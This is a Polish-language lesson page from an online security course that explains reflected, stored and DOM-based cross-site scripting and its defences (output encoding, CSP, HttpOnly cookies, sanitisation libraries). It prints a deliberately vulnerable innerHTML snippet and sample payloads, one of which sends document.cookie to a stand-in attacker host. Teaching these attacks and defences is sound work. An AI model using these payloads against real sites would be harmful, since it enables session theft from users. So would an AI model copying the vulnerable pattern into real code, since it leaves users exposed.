0Pricing
Cyber Security Academy · Lekcja

Cross-Site Scripting (XSS)

Poznać odzwierciedlone, zapisane i oparte na DOM ataki XSS na rzeczywistych payloadach oraz zabezpieczenia CSP

Cross-Site Scripting (XSS) to bezpłatna lekcja Cyber Security Academy na CoddyKit. To lekcja 2 z 4. Możesz przeczytać całą lekcję poniżej za darmo — a potem ćwiczyć ją interaktywnie w przeglądarce z wbudowanym edytorem kodu i tutorem AI dostępnym 24/7. To część ścieżki edukacyjnej Cyber Security Academy, a Twój postęp synchronizuje się między webem a aplikacją CoddyKit. Kurs Cyber Security Academy zawiera 4 lekcji w sumie.

Czym jest XSS?

Cross-Site Scripting (XSS) występuje, gdy atakujący wstrzykuje złośliwy kod JavaScript do strony internetowej wyświetlanej przez innych użytkowników. Przeglądarka wykonuje ten kod w kontekście sesji ofiary, co umożliwia kradzież plików cookie, rejestrowanie naciśnięć klawiszy oraz modyfikowanie strony.

Odzwierciedlone XSS

Odzwierciedlone XSS (nietrwałe): złośliwy skrypt jest zawarty w żądaniu (np. jako parametr adresu URL) i odzwierciedlany w odpowiedzi. Ofiara musi kliknąć specjalnie spreparowany odsyłacz. Przykład: https://site.com/search?q=<script>alert(1)</script>

Przechowywane XSS

Przechowywane XSS (trwałe): złośliwy skrypt jest zapisywany w bazie danych (np. jako komentarz lub zawartość pola profilu), a następnie przesyłany każdemu odwiedzającemu. Jest groźniejsze niż odzwierciedlone XSS, ponieważ nie jest potrzebny specjalny odsyłacz — każde wyświetlenie strony uruchamia skrypt.

XSS oparte na DOM

XSS oparte na DOM występuje, gdy kod JavaScript odczytuje dane kontrolowane przez atakującego (fragment adresu URL lub parametr zapytania) i zapisuje je w DOM bez sanitizacji. Atak odbywa się w całości po stronie klienta — serwer nigdy nie widzi ładunku.

// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>

Skutki XSS

Co atakujący może zrobić za pomocą XSS:

  • Wykraść pliki cookie sesji (document.cookie) → przejąć konto
  • Rejestrować naciśnięcia klawiszy (wykradać wpisywane hasła)
  • Przekierować użytkownika do stron phishingowych
  • Wykonywać działania jako ofiara (CSRF przez XSS)
  • Zmienić wygląd strony

Ładunki XSS

Proste ładunki testowe:

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>

Kodowanie danych wyjściowych

Podstawowa ochrona: kodować wszystkie dane wyjściowe kontrolowane przez użytkownika przed wstawieniem ich do kodu HTML. Znaki specjalne należy konwertować na encje HTML: < → &lt;, > → &gt;, " → &quot;.

Należy stosować kodowanie odpowiednie do kontekstu: HTML, JS, URL, CSS.

Content Security Policy (CSP)

CSP to nagłówek odpowiedzi, który informuje przeglądarkę, jakie skrypty mogą być wykonywane. Ścisła polityka CSP blokuje skrypty wbudowane i ogranicza dozwolone źródła:

# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domains

Pliki cookie HttpOnly

Ustawienie flagi HttpOnly dla plików cookie sesji uniemożliwia kodowi JavaScript odczytywanie ich za pomocą document.cookie. Nawet jeśli XSS zostanie uruchomione, atakujący nie może wykraść tokenu sesji. Jest to najważniejsza warstwa ochrony obok kodowania danych wyjściowych.

Biblioteki do sanitizacji

Jeśli użytkownicy muszą mieć możliwość wprowadzania kodu HTML (np. w edytorach tekstu sformatowanego), należy użyć biblioteki do sanitizacji zamiast pisać własne rozwiązanie:

  • DOMPurify (JavaScript)
  • bleach (Python)
  • OWASP Java HTML Sanitizer

Testowanie XSS

XSS należy testować za pomocą narzędzi deweloperskich przeglądarki, Burp Suite lub automatycznych skanerów. Należy sprawdzić wszystkie pola danych wprowadzanych przez użytkownika, parametry adresów URL, nagłówki HTTP oraz funkcje DOM będące miejscami docelowymi: innerHTML, document.write, eval, setTimeout z argumentami tekstowymi.

Szybkie sprawdzenie: XSS

Który typ XSS przechowuje złośliwy ładunek w bazie danych, powodując jego wykonanie u każdego odwiedzającego daną stronę?

Podsumowanie lekcji

XSS polega na wstrzykiwaniu kodu JavaScript do stron wyświetlanych przez ofiary. Typy: odzwierciedlone (oparte na adresie URL), przechowywane (utrwalone w bazie danych) oraz oparte na DOM (po stronie klienta). Podstawowe zabezpieczenia to kodowanie danych wyjściowych, pliki cookie HttpOnly i Content Security Policy. Do sanitizacji kodu HTML należy używać DOMPurify. Nigdy nie należy wstawiać niesanitowanych danych użytkownika do innerHTML ani eval().

Często zadawane pytania

Czy lekcja „Cross-Site Scripting (XSS)” jest bezpłatna?

Tak — pełny tekst „Cross-Site Scripting (XSS)” jest dostępny za darmo tutaj w sieci. Aby ćwiczyć ją interaktywnie (wbudowany edytor kodu i tutor AI dostępny 24/7) i odblokować resztę kursu Cyber Security Academy, przejdź na CoddyKit PRO. Kurs Cyber Security Academy zawiera 4 lekcji w sumie.

Co nauczysz się w „Cross-Site Scripting (XSS)”?

Poznać odzwierciedlone, zapisane i oparte na DOM ataki XSS na rzeczywistych payloadach oraz zabezpieczenia CSP Ćwiczysz Cyber Security Academy z praktycznym kodem, który uruchamiasz bezpośrednio w przeglądarce, a tutor AI dostępny 24/7 odpowiada na Twoje pytania podczas pracy nad lekcją.

Czy potrzebuję doświadczenia, aby zacząć Cyber Security Academy?

Nie wymagamy żadnego doświadczenia. Cyber Security Academy w CoddyKit jest strukturyzowany dla początkujących i zaawansowanych użytkowników, więc możesz zacząć tutaj lub od początku i uczyć się w swoim tempie. To lekcja 2 z 4.

Ile czasu zajmuje lekcja „Cross-Site Scripting (XSS)”?

Większość lekcji CoddyKit trwa około 5–10 minut. Każda lekcja to mały, interaktywny krok, dzięki czemu robisz systematyczne postępy i zawsze wracasz dokładnie do tego samego miejsca — na webie i w aplikacji.

Czy mogę pisać i uruchamiać kod w tej lekcji Cyber Security Academy?

Tak. Każda lekcja Cyber Security Academy zawiera wbudowany edytor kodu, więc piszesz i uruchamiasz prawdziwy kod bezpośrednio w przeglądarce i od razu otrzymujesz sprzężenie zwrotne od AI — bez konfiguracji na komputerze.

Wszystkie lekcje w tym kursie

  1. SQL Injection: jak i dlaczego działa
  2. Cross-Site Scripting (XSS)
  3. Cross-Site Request Forgery (CSRF)
  4. Błędna konfiguracja zabezpieczeń i ujawnione usługi
← Powrót do Cyber Security Academy